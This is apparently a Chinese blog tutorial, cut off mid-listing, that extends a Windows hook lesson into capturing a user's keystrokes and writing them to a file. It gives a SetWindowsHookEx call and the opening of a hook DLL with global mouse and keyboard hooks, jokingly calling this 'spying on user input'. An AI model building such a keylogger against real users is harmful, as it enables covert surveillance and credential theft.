按照孙鑫老师的讲解,我们可以额外的在此基础上添加获得键盘输入字符,并且写入文件,以此来“偷窥用户的输入-千万不要这么做,会犯法的“....多的不说了,只需要在孙老师的代码上加上
SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,GetModuleHandle("Hook"),0);
Hook动态库的详细代码:hook.cpp
SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,GetModuleHandle("Hook"),0);
Hook动态库的详细代码:hook.cpp
点击(此处)折叠或打开
- #include <windows.h>
- #include <stdio.h>
-
- HHOOK g_hMouse=NULL;
- HHOOK g_hKeyboard=NULL;
- HHOOK g_hMessage=NULL;
-
- #pragma data_seg("MySec")
- HWND g_hWnd=NULL;
- #pragma data_seg()
-
- //#pragma comment(linker,"/section:MySec,RWS")
- /*HINSTANCE g_hInst;
-
- BOOL WINAPI DllMain(
- HINSTANCE hinstDLL, // handle to the DLL module
- DWORD fdwReason, // reason for calling function
- LPVOID lpvReserved // reserved
- )
- {
- g_hInst=hinstDLL;
- }*/
-
- LRESULT CALLBACK MouseProc(
- int nCode, // hook code
- WPARAM wParam, // message identifier
- LPARAM lParam // mouse coordinates
- )
- {
- UnhookWindowsHookEx(g_hMouse); ///< 这样“钩子”就失效了
- return 1;
- }
-
- LRESULT CALLBACK KeyboardProc(
- int nCode, // hook code
- WPARAM wParam, // virtual-key code
- LPARAM lParam // keystroke-message information
- )
- {
- //UnhookWindowsHookEx(g_hKeyboard